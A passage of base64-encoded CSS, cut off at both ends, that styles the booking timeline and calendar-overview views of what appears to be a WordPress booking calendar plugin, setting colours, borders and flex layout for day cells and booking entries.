eF90bF9kYXlfY2VsbC5uZXdfbW9udGggLmluX2NlbGxfZGF0ZV9jb250YWluZXIge1xyXG4gIGJvcmRlci1sZWZ0OiAycHggc29saWQgI2M1NFxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3RpdGxlcyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsLmZsZXhfdGxfd2Vla2RheTYsXHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3RpdGxlcyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsLmZsZXhfdGxfd2Vla2RheTYgYSxcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfdGl0bGVzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwuZmxleF90bF93ZWVrZGF5NyxcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfdGl0bGVzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwuZmxleF90bF93ZWVrZGF5NyBhIHtcclxuICBjb2xvcjogI2MzMjtcclxuICBiYWNrZ3JvdW5kOiAjZmZmY2Y0XHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwuZmxleF90bF93ZWVrZGF5NiAuaW5fY2VsbF9kYXRlX2NvbnRhaW5lcl9zaG93X2RhdGVzLFxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbC5mbGV4X3RsX3dlZWtkYXk3IC5pbl9jZWxsX2RhdGVfY29udGFpbmVyX3Nob3dfZGF0ZXMge1xyXG4gIGNvbG9yOiAjYmQ3Zjc4O1xyXG4gIGJhY2tncm91bmQ6ICNmZmZjZjRcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV90aXRsZXMgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCBhLFxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV90aXRsZXMgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCBhOmhvdmVyIHtcclxuICBjb2xvcjogIzc4OTtcclxuICB0ZXh0LWRlY29yYXRpb246IG5vbmVcclxufVxyXG4uZmxleF90bF9zaW5nbGVfcmVzb3VyY2UgLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfdGl0bGVzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXJfbW9udGgge1xyXG4gIGRpc3BsYXk6IG5vbmVcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV90aXRsZXMgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2Jhcl9tb250aCB7XHJcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcclxuICBoZWlnaHQ6IDEuNWVtO1xyXG4gIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZWVlO1xyXG4gIGJvcmRlci1sZWZ0OiAxcHggc29saWQgI2VlZVxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3RpdGxlcyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX21vbnRoX3llYXIge1xyXG4gIGNvbG9yOiAjYzMyO1xyXG4gIGZvbnQtc2l6ZTogLjg1ZW07XHJcbiAgZm9udC13ZWlnaHQ6IDYwMDtcclxuICBwYWRkaW5nOiAwIC41ZW1cclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV90aXRsZXMgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCAuaW5fY2VsbF90aW1lX3NlY3Rpb25faW5fZGF5IC5pbl9jZWxsX3RpbWVfaG91ciB7XHJcbiAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjZWVlO1xyXG4gIGJvcmRlci10b3A6IDFweCBzb2xpZCAjZWVlO1xyXG4gIGRpc3BsYXk6IC1tcy1mbGV4Ym94O1xyXG4gIGRpc3BsYXk6IGZsZXg7XHJcbiAgLW1zLWZsZXgtcGFjazogc3RhcnQ7XHJcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xyXG4gIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7XHJcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICBwYWRkaW5nOiAwIDAgMCAycHg7XHJcbiAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcclxuICBvdmVyZmxvdzogaGlkZGVuO1xyXG4gIG1pbi1oZWlnaHQ6IDEycHg7XHJcbiAgZm9udC1zaXplOiAuOGVtO1xyXG4gIGZvbnQtd2VpZ2h0OiA2MDBcclxufVxyXG4uZmxleF90bF9tYXRyaXhfcmVzb3VyY2VzLmZsZXhfZnJhbWVfdmlld19kYXlzX251bV8xIC5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3RpdGxlcyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX2RhdGVfY29udGFpbmVyIC5pbl9jZWxsX2RheV9udW0sXHJcbi5mbGV4X3RsX3NpbmdsZV9yZXNvdXJjZS5mbGV4X2ZyYW1lX3ZpZXdfZGF5c19udW1fMzAgLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfdGl0bGVzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwgLmluX2NlbGxfZGF0ZV9jb250YWluZXIgLmluX2NlbGxfZGF5X251bSB7XHJcbiAgZm9udC1zaXplOiAuODVlbTtcclxuICBmb250LXdlaWdodDogNjAwO1xyXG4gIHRleHQtYWxpZ246IGxlZnQ7XHJcbiAgcGFkZGluZzogMCAxZW1cclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8xIC5mbGV4X3RsX3Jlc291cmNlX3RpdGxlX2RhdGVzX2NvbnRhaW5lciAuZmxleF90bF9yZXNvdXJjZV90aXRsZV9kYXRlc19kYXlzLmZsZXhfdGxfd2Vla2RheTYsXHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzEgLmZsZXhfdGxfcmVzb3VyY2VfdGl0bGVfZGF0ZXNfY29udGFpbmVyIC5mbGV4X3RsX3Jlc291cmNlX3RpdGxlX2RhdGVzX2RheXMuZmxleF90bF93ZWVrZGF5NyxcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMSAuZmxleF90bF9yZXNvdXJjZV90aXRsZV9kYXRlc19jb250YWluZXIgLmZsZXhfdGxfcmVzb3VyY2VfdGl0bGVfZGF0ZXNfd2Vla3MuZmxleF90bF93ZWVrZGF5NixcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMSAuZmxleF90bF9yZXNvdXJjZV90aXRsZV9kYXRlc19jb250YWluZXIgLmZsZXhfdGxfcmVzb3VyY2VfdGl0bGVfZGF0ZXNfd2Vla3MuZmxleF90bF93ZWVrZGF5NyB7XHJcbiAgY29sb3I6ICNiZDdmNzhcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCB7XHJcbiAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjZWVlO1xyXG4gIGNvbG9yOiAjYWFhO1xyXG4gIGZvbnQtc2l6ZTogLjg1ZW07XHJcbiAgdGV4dC1zaGFkb3c6IG5vbmVcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbC5uZXdfbW9udGggLmluX2NlbGxfdGltZV9ob3VyOmZpcnN0LWNoaWxkIC5pbl9jZWxsX2RhdGVfY29udGFpbmVyIHtcclxuICBib3JkZXItbGVmdDogMnB4IHNvbGlkICNjNTRcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbC5uZXdfbW9udGguZXhpc3RfYm9va2luZ19pbl9jZWxsIC5pbl9jZWxsX3RpbWVfaG91cjpmaXJzdC1jaGlsZCAuaW5fY2VsbF9kYXRlX2NvbnRhaW5lciB7XHJcbiAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjYzU0XHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwgLmluX2NlbGxfZGF0ZV9jb250YWluZXJfc2hvd19ib29raW5ncyAuYm9va2luZ19pZC5hcHByb3ZlZF9ib29raW5nLnN0YXJ0X25ld19ib29raW5nIHtcclxuICBib3JkZXItY29sb3I6ICM2MTZmOGJcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCAuaW5fY2VsbF9kYXRlX2NvbnRhaW5lcl9zaG93X2Jvb2tpbmdzIC5ib29raW5nX2lkLnBhc3RfZGF0ZSB7XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogI2YwY2Y3N1xyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX2RhdGVfY29udGFpbmVyX3Nob3dfYm9va2luZ3MgLmJvb2tpbmdfaWQuYXBwcm92ZWRfYm9va2luZy5wYXN0X2RhdGUge1xyXG4gIGJhY2tncm91bmQtY29sb3I6ICM5MDk5YWE7XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3BiY190aW1lbGluZS1wYXN0LWJvb2tpbmctYXBwcm92ZWQtY29sb3IpXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwgLmluX2NlbGxfZGF0ZV9jb250YWluZXJfc2hvd19ib29raW5ncyAuYm9va2luZ19pZC5zdGFydF9uZXdfYm9va2luZy5ib29raW5nX3RyYXNoIHtcclxuICBib3JkZXItbGVmdDogMnB4IHNvbGlkICM5MDFjMWFcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCAuaW5fY2VsbF9kYXRlX2NvbnRhaW5lcl9zaG93X2Jvb2tpbmdzIC5ib29raW5nX2lkLmJvb2tpbmdfdHJhc2gge1xyXG4gIGJhY2tncm91bmQtY29sb3I6ICNkYjZmNmRcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2Jhci5mbGV4X3RsX3Jvd19iYXJfc2hvd19ib29raW5nX3RpdGxlcyAuZmxleF90bF9kYXlfY2VsbC50b2RheV9kYXRlIC5pbl9jZWxsX3RpbWVfc2VjdGlvbl9pbl9kYXkge1xyXG4gIGJvcmRlci1sZWZ0OiAxcHggc29saWQgIzA5MFxyXG59XHJcbi5mbGV4X3RpbWVsaW5lX2ZyYW1lLmZsZXhfZnJhbWVfdmlld19kYXlzX251bV8xLmZsZXhfdGxfbWF0cml4X3Jlc291cmNlcyAuZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2Jhci5mbGV4X3RsX3Jvd19iYXJfc2hvd19ib29raW5nX3RpdGxlcyAuZmxleF90bF9kYXlfY2VsbC50b2RheV9kYXRlIC5pbl9jZWxsX3RpbWVfc2VjdGlvbl9pbl9kYXksXHJcbi5mbGV4X3RpbWVsaW5lX2ZyYW1lLmZsZXhfZnJhbWVfdmlld19kYXlzX251bV8zMC5mbGV4X3RsX3NpbmdsZV9yZXNvdXJjZSAuZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2Jhci5mbGV4X3RsX3Jvd19iYXJfc2hvd19ib29raW5nX3RpdGxlcyAuZmxleF90bF9kYXlfY2VsbC50b2RheV9kYXRlIC5pbl9jZWxsX3RpbWVfc2VjdGlvbl9pbl9kYXkge1xyXG4gIGJvcmRlci1sZWZ0OiBub25lXHJcbn1cclxuLmZsZXhfdGltZWxpbmVfZnJhbWUuZmxleF9mcmFtZV92aWV3X2RheXNfbnVtXzEuZmxleF90bF9tYXRyaXhfcmVzb3VyY2VzIC5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyLmZsZXhfdGxfcm93X2Jhcl9zaG93X2Jvb2tpbmdfdGl0bGVzIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX3RpbWVfc2VjdGlvbl9pbl9kYXkgLmluX2NlbGxfdGltZV9ob3VyLnRvZGF5X3RpbWUsXHJcbi5mbGV4X3RpbWVsaW5lX2ZyYW1lLmZsZXhfZnJhbWVfdmlld19kYXlzX251bV8zMC5mbGV4X3RsX3NpbmdsZV9yZXNvdXJjZSAuZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2Jhci5mbGV4X3RsX3Jvd19iYXJfc2hvd19ib29raW5nX3RpdGxlcyAuZmxleF90bF9kYXlfY2VsbCAuaW5fY2VsbF90aW1lX3NlY3Rpb25faW5fZGF5IC5pbl9jZWxsX3RpbWVfaG91ci50b2RheV90aW1lIHtcclxuICBib3JkZXItbGVmdDogMXB4IHNvbGlkICM3N2NlMGZcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCAuaW5fY2VsbF9kYXRlX2NvbnRhaW5lcl9zaG93X2Jvb2tpbmdzIC5ib29raW5nX2lkIGEge1xyXG4gIGZvbnQtc2l6ZTogN3B4O1xyXG4gIGZvbnQtd2VpZ2h0OiA2MDA7XHJcbiAgY29sb3I6ICNmZmY7XHJcbiAgY3Vyc29yOiBwb2ludGVyXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwgLmluX2NlbGxfZGF0ZV9jb250YWluZXJfc2hvd19ib29raW5nX3RpdGxlcyAuaW5fY2VsbF9kYXRlX2Jvb2tpbmdfdGl0bGUge1xyXG4gIGJhY2tncm91bmQ6ICM3Nzc7XHJcbiAgY29sb3I6ICNmZmY7XHJcbiAgYm9yZGVyLWxlZnQ6IDJweCBzb2xpZCAjNTU1O1xyXG4gIGN1cnNvcjogcG9pbnRlcjtcclxuICBib3JkZXItcmFkaXVzOiAzcHg7XHJcbiAgZm9udC1zaXplOiAxMHB4XHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9kYXRlc19iYXIgLmZsZXhfdGxfZGF5X2NlbGwgLmluX2NlbGxfZGF0ZV9jb250YWluZXJfc2hvd19ib29raW5nX3RpdGxlcyAuaW5fY2VsbF9kYXRlX2Jvb2tpbmdfdGl0bGUuc2V2ZXJhbF9ib29raW5nc19pbl9jZWxsIHtcclxuICBmb250LXdlaWdodDogNzAwO1xyXG4gIGJhY2tncm91bmQ6ICNmZGFiMzY7XHJcbiAgY29sb3I6ICM0NTUzNjY7XHJcbiAgYm9yZGVyLWxlZnQ6IDJweCBzb2xpZCAjZGQ4YjE2XHJcbn1cclxuLmZsZXhfdGltZWxpbmVfZnJhbWUuZmxleF9mcmFtZV92aWV3X2RheXNfbnVtXzEuZmxleF90bF9tYXRyaXhfcmVzb3VyY2VzIC5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIC5pbl9jZWxsX2RhdGVfY29udGFpbmVyX3Nob3dfZGF0ZXMsXHJcbi5mbGV4X3RpbWVsaW5lX2ZyYW1lLmZsZXhfZnJhbWVfdmlld19kYXlzX251bV8zMC5mbGV4X3RsX3NpbmdsZV9yZXNvdXJjZSAuZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxleF90bF9kYXlfY2VsbCAuaW5fY2VsbF9kYXRlX2NvbnRhaW5lcl9zaG93X2RhdGVzIHtcclxuICBib3JkZXItbGVmdDogMXB4IHNvbGlkICNlZWU7XHJcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNlZWU7XHJcbiAgZm9udC1zaXplOiAuOGVtO1xyXG4gIHdvcmQtd3JhcDogbm9ybWFsO1xyXG4gIHdoaXRlLXNwYWNlOiBub3dyYXA7XHJcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcclxuICBwYWRkaW5nOiAwIDJweFxyXG59XHJcbi53cGJjX2NhbGVuZGFyX292ZXJ2aWV3X19oZWFkZXIge1xyXG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcclxuICB3aWR0aDogMTAwJVxyXG59XHJcbi53cGJjX2NhbGVuZGFyX292ZXJ2aWV3X19oZWFkZXIgLm5hdi10YWJzIHtcclxuICBib3gtc2hhZG93OiAwIDNweCA4cHggI2VhZWFlYTtcclxuICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UzZTNlMztcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIGZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazogc3RhcnQ7XHJcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xyXG4gIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7XHJcbiAgYWxpZ24taXRlbXM6IGNlbnRlclxyXG59XHJcbi53cGJjX2NhbGVuZGFyX292ZXJ2aWV3X19oZWFkZXIgLndwYmNfY2FsZW5kYXJfb3ZlcnZpZXdfX25hdmlnYXRpb24ge1xyXG4gIGRpc3BsYXk6IC1tcy1mbGV4Ym94O1xyXG4gIGRpc3BsYXk6IGZsZXg7XHJcbiAgLW1zLWZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgZmxleC1mbG93OiByb3cgd3JhcDtcclxuICAtbXMtZmxleC1wYWNrOiBlbmQ7XHJcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LWVuZDtcclxuICAtbXMtZmxleC1hbGlnbjogY2VudGVyO1xyXG4gIGFsaWduLWl0ZW1zOiBjZW50ZXI7XHJcbiAgbWFyZ2luOiA0cHggNXB4IDRweCBhdXRvXHJcbn1cclxuLndwYmNfY2FsZW5kYXJfb3ZlcnZpZXdfX2NvbnRhaW5lciB7XHJcbiAgcGFkZGluZzogMCA1cHggNXB4O1xyXG4gIG1hcmdpbi10b3A6IDA7XHJcbiAgYm9yZGVyOiAxcHggc29saWQgI2Q1ZDVkNTtcclxuICBiYWNrZ3JvdW5kOiAjZmZmO1xyXG4gIGZvbnQtc2l6ZTogMTNweDtcclxuICBib3JkZXItcmFkaXVzOiAwIDAgM3B4IDNweDtcclxuICBib3gtc2hhZG93OiAwIDAgOHB4ICNkYWRhZGE7XHJcbiAgbWFyZ2luLWJvdHRvbTogMjVweFxyXG59XHJcbi53cGJjX3BhZ2VfdGFiX192bV9jYWxlbmRhciAjdG9vbGJhcl9ib29raW5nX2xpc3Rpbmcud3BiY190aW1lbGluZV90b29sYmFyX2NvbnRhaW5lciB7XHJcbiAgbWFyZ2luOiAtMjFweCAwIDAhaW1wb3J0YW50O1xyXG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcclxuICBib3gtc2hhZG93OiAwIDRweCA4cHggI2U0ZTRlNFxyXG59XHJcbi53cGJjX3RpbWVsaW5lX3Rvb2xiYXJfY29udGFpbmVyIC53cGR2bHAtc3ViLXRhYnMge1xyXG4gIGJvcmRlci1yYWRpdXM6IDAgMCAycHggMnB4XHJcbn1cclxuLndwYmNfcGFnZV90YWJfX3ZtX2NhbGVuZGFyICN0b29sYmFyX2Jvb2tpbmdfbGlzdGluZy53cGJjX3RpbWVsaW5lX3Rvb2xiYXJfY29udGFpbmVyIC53cGR2bHAtc3ViLXRhYnMge1xyXG4gIHBhZGRpbmctYm90dG9tOiAxcHhcclxufVxyXG4ud3BiY19jYWxlbmRhcl9vdmVydmlld19fY29udGFpbmVyIC5mbGV4X3RsX3RhYmxlIHtcclxuICBib3JkZXItcmFkaXVzOiAwO1xyXG4gIGJvcmRlci10b3A6IG5vbmU7XHJcbiAgZm9udC1zaXplOiAxM3B4XHJcbn1cclxuLndwYmNfdGltZWxpbmVfdG9vbGJhcl9zdHJ1Y3R1cmUge1xyXG4gIGRpc3BsYXk6IC1tcy1mbGV4Ym94O1xyXG4gIGRpc3BsYXk6IGZsZXg7XHJcbiAgLW1zLWZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgZmxleC1mbG93OiByb3cgd3JhcDtcclxuICAtbXMtZmxleC1wYWNrOiBzdGFydDtcclxuICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XHJcbiAgLW1zLWZsZXgtYWxpZ246IGNlbnRlcjtcclxuICBhbGlnbi1pdGVtczogY2VudGVyXHJcbn1cclxuLndwYmNfdGltZWxpbmVfdG9vbGJhcl9zdHJ1Y3R1cmUgPiAqIHtcclxuICBtYXJnaW4tdG9wOiAwO1xyXG4gIG1hcmdpbi1ib3R0b206IDEwcHg7XHJcbiAgbWFyZ2luLXJpZ2h0OiAxNXB4XHJcbn1cclxuLndwYmNfdGltZWxpbmVfdG9vbGJhcl9zdHJ1Y3R1cmUgPiA6bGFzdC1jaGlsZCB7XHJcbiAgbWFyZ2luLWxlZnQ6IGF1dG87XHJcbiAgbWFyZ2luLXJpZ2h0OiAwXHJcbn1cclxuLndwYmNfdG9vbGJhcl9zZWFyY2hfYnlfaWRfYm9va2luZ3Mge1xyXG4gIC1tcy1mbGV4LWl0ZW0tYWxpZ246IGVuZDtcclxuICBhbGlnbi1zZWxmOiBmbGV4LWVuZFxyXG59XHJcbkBtZWRpYSAobWF4LXdpZHRoOjUwMXB4KSB7XHJcbiAgLndwYmNfdG9vbGJhcl9zZWFyY2hfYnlfaWRfYm9va2luZ3Mge1xyXG4gICAgZGlzcGxheTogbm9uZVxyXG4gIH1cclxufVxyXG4uZmxleF90bF9fc2Nyb2xsaW5nX3NlY3Rpb25zIHtcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IHJvdyBub3dyYXA7XHJcbiAgZmxleC1mbG93OiByb3cgbm93cmFwO1xyXG4gIC1tcy1mbGV4LXBhY2s6IHN0YXJ0O1xyXG4gIGp1c3RpZnktY29udGVudDogZmxleC1zdGFydDtcclxuICAtbXMtZmxleC1hbGlnbjogc3RhcnQ7XHJcbiAgYWxpZ24taXRlbXM6IGZsZXgtc3RhcnQ7XHJcbiAgb3ZlcmZsb3cteTogYXV0bztcclxuICBzY3JvbGxiYXItd2lkdGg6IHRoaW5cclxufVxyXG4uZmxleF90bF9fc2Nyb2xsaW5nX3NlY3Rpb25zIC5mbGV4X3RsX19zY3JvbGxpbmdfc2VjdGlvbjEge1xyXG4gIHdpZHRoOiAyMjBweDtcclxuICBvdmVyZmxvdy14OiBhdXRvO1xyXG4gIHNjcm9sbGJhci13aWR0aDogdGhpbjtcclxuICBib3gtc2hhZG93OiAwIDAgM3B4ICM5YjliOWI7XHJcbiAgei1pbmRleDogMTtcclxuICBwYWRkaW5nOiAwXHJcbn1cclxuLmZsZXhfdGxfX3Njcm9sbGluZ19zZWN0aW9ucyAuZmxleF90bF9fc2Nyb2xsaW5nX3NlY3Rpb24xID4gZGl2IHtcclxuICAtbXMtZmxleDogMCAxIDE4MHB4O1xyXG4gIGZsZXg6IDAgMSAxODBweDtcclxuICBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCAjZGZkZmRmXHJcbn1cclxuLmZsZXhfdGxfX3Njcm9sbGluZ19zZWN0aW9ucyAuZmxleF90bF9fc2Nyb2xsaW5nX3NlY3Rpb24xID4gZGl2LmZsZXhfdGxfdGFibGVfdGl0bGVzIHtcclxuICBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCB0cmFuc3BhcmVudFxyXG59XHJcbi5mbGV4X3RsX19zY3JvbGxpbmdfc2VjdGlvbnMgLmZsZXhfdGxfX3Njcm9sbGluZ19zZWN0aW9uMiB7XHJcbiAgLW1zLWZsZXg6IDEgMSAxMDAlO1xyXG4gIGZsZXg6IDEgMSAxMDAlO1xyXG4gIG92ZXJmbG93LXg6IGF1dG9cclxufVxyXG4uZmxleF90bF9zaW5nbGVfcmVzb3VyY2UuZmxleF9mcmFtZV92aWV3X2RheXNfbnVtXzMwIC5mbGV4X3RsX19zY3JvbGxpbmdfc2VjdGlvbnMgLmZsZXhfdGxfX3Njcm9sbGluZ19zZWN0aW9uMiAuZmxleF90bF9yb3dfbWF4X3dpZHRoIHtcclxuICBtaW4td2lkdGg6IDkwMHB4XHJcbn1cclxuLmZsZXhfdGxfc2luZ2xlX3Jlc291cmNlLmZsZXhfZnJhbWVfdmlld19kYXlzX251bV85MCAuZmxleF90bF9fc2Nyb2xsaW5nX3NlY3Rpb25zIC5mbGV4X3RsX19zY3JvbGxpbmdfc2VjdGlvbjIgLmZsZXhfdGxfcm93X21heF93aWR0aCB7XHJcbiAgbWluLXdpZHRoOiAzNTBweFxyXG59XHJcbi5mbGV4X3RsX3NpbmdsZV9yZXNvdXJjZS5mbGV4X2ZyYW1lX3ZpZXdfZGF5c19udW1fMzY1IC5mbGV4X3RsX19zY3JvbGxpbmdfc2VjdGlvbnMgLmZsZXhfdGxfX3Njcm9sbGluZ19zZWN0aW9uMiAuZmxleF90bF9yb3dfbWF4X3dpZHRoIHtcclxuICBtaW4td2lkdGg6IDE0MDBweFxyXG59XHJcbi5mbGV4X3RsX21hdHJpeF9yZXNvdXJjZXMuZmxleF9mcmFtZV92aWV3X2RheXNfbnVtXzEgLmZsZXhfdGxfX3Njcm9sbGluZ19zZWN0aW9ucyAuZmxleF90bF9fc2Nyb2xsaW5nX3NlY3Rpb24yIC5mbGV4X3RsX3Jvd19tYXhfd2lkdGgge1xyXG4gIG1pbi13aWR0aDogOTAwcHhcclxufVxyXG4uZmxleF90bF9tYXRyaXhfcmVzb3VyY2VzLmZsZXhfZnJhbWVfd